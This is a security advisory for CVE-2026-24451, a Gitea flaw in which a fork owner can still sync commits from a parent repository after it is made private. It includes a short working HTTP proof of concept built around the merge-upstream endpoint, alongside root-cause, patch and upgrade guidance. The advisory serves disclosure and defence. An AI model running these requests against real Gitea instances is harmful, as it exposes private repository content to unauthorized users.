high · 7.5CVE-2026-24451Jul 21, 2026

CVE-2026-24451: Gitea Fork Sync Information Disclosure via merge-upstream

Shubham Kandhare
Security Engagement Manager, SecureLayer7

A Gitea fork owner can keep pulling commits from a parent repository even after the parent is switched to private, exposing content the fork owner is no longer authorized to see.

Packagecode.gitea.io/gitea
Ecosystemgo
Affected< 1.26.3
Fixed in1.26.3

The problem

The `POST /api/v1/repos/{owner}/{repo}/merge-upstream` endpoint did not verify whether the calling user still had read access to the base repository before performing synchronization.

A fork created while a parent repository was public could continue receiving new commits from that parent after an owner changed its visibility to private. Any file or content committed during the private period was then accessible through the fork after a single sync call.

Proof of concept

A working proof-of-concept for CVE-2026-24451 in code.gitea.io/gitea, with the exact payload below.

http
# 1. alice makes alice/P public, bob forks it as bob/P
# 2. alice changes alice/P to private
# 3. alice commits secret.txt to alice/P while private

# bob can no longer read the parent directly:
GET /api/v1/repos/alice/P/contents/secret.txt
# -> 404 Not Found

# but bob calls merge-upstream on his fork:
POST /api/v1/repos/bob/P/merge-upstream
Authorization: token <bob_token>
Content-Type: application/json

{"style": "merge"}

# -> 200 OK

# secret.txt is now readable through the fork:
GET /api/v1/repos/bob/P/contents/secret.txt
Authorization: token <bob_token>
# -> 200 OK  (content of private-period commit exposed)

The root cause is a missing access-control check before the upstream sync logic ran. The `merge-upstream` handler trusted that fork ownership implied ongoing read access to the parent, which was true at fork time but not after a visibility downgrade.

The patch (PR #38103, backported in #38151) adds a readability check on the base repository for the requesting user before any Git fetch from the parent is performed. If the base repo is no longer readable, the endpoint now returns an error instead of syncing, closing the CWE-200 / CWE-284 gap.

The PoC linked in the advisory (anonymous.4open.science/r/Gitea_PoC-EC93/4_poc_merge_upstream) reproduces the full end-to-end scenario, confirming that commits made after the visibility change were unavailable until merge-upstream was called, and fully accessible afterward.

The fix

Upgrade to Gitea 1.26.3 or later (1.26.4 is recommended as 1.26.3 has an unrelated regression on code pages). No configuration workaround exists for earlier versions; the fix is code-only. Instance admins who cannot upgrade immediately should advise fork owners that merge-upstream is the attack surface and consider temporarily disabling the API endpoint via a reverse proxy rule.

Reported by ybsun0215.

References: [1][2][3][4][5][6]

Related research